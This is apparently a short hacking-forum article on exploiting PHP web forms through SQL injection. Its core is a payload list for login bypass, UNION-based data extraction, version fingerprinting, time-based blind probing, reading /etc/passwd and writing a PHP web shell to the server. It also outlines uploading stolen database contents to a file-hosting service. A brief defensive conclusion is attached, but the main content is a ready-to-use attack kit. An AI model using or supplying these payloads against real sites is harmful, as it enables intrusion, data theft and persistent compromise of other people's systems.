Exploiting Vulnerable PHP Forms: SQL Injection

[hackito]

Security vulnerabilities in web applications remain a significant concern for developers and businesses alike. Among the most common and dangerous vulnerabilities are SQL Injection (SQLi) attacks. This article explores how attackers can exploit vulnerable PHP forms using these techniques and how they might attempt to exfiltrate data using file hosting services.

Understanding the Attack Vectors

Step 1: Finding Vulnerable PHP Forms

Attackers typically begin by scanning websites for PHP forms that lack proper input validation. Common targets include:

Login forms
Search fields
Contact forms
Registration pages
Any form that interacts with a database

These forms become vulnerable when developers fail to implement proper security measures like prepared statements, input sanitization, or output encoding.

Step 2: Exploiting with SQL Injection

The provided list contains a combination of SQLi payloads that attackers use to test for vulnerabilities:

SQL Injection Payloads:

sql
' OR '1'='1
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' OR 1=1--
' AND 1=1--
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' GROUP BY 1--
' GROUP BY 2--
' GROUP BY 3--
admin'--
admin' #
admin'/*
' HAVING 1=1--
' HAVING 1=1#
' AND substr(@@version,1,1)=5--
' AND substring(@@version,1,1)=5--
' UNION ALL SELECT NULL--
' UNION ALL SELECT NULL,NULL--
' UNION ALL SELECT NULL,NULL,NULL--
' UNION SELECT @@version--
' UNION SELECT banner FROM v$version--
' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version))--
' AND 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
' SELECT IF(SUBSTRING(user(),1,1)='r',BENCHMARK(100000,SHA1('test')),false)--
' UNION SELECT LOAD_FILE('/etc/passwd')--
' INTO OUTFILE '/var/www/shell.php'--
' AND (SELECT * FROM (SELECT(SLEEP(5)))foo)--
' AND (SELECT * FROM (SELECT(SLEEP(5)))foo) AND 'a'="a
' WAITFOR DELAY '0:0:5'--
' AND 1=(SELECT COUNT(*) FROM tablenames); --
' AND 1=(SELECT COUNT(*) FROM information_schema.tables); --
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sysobjects),1,1))>X--

These payloads manipulate SQL queries to either bypass authentication or extract sensitive information from the database.

Step 3: Data Exfiltration via File Hosting

After successfully exploiting a vulnerability, attackers might use services like xfilesharing to remotely upload stolen database contents. This technique allows them to:

Export database contents to a file
Upload the file to a hosting service
Access the data remotely without leaving traces on the compromised server

Conclusion

The combination of SQL injection attacks represents a serious threat to web applications. By understanding these attack vectors, developers can better protect their applications and users. Security should never be an afterthought - it must be integrated into every stage of the development lifecycle.

 

[hackito]

100% up.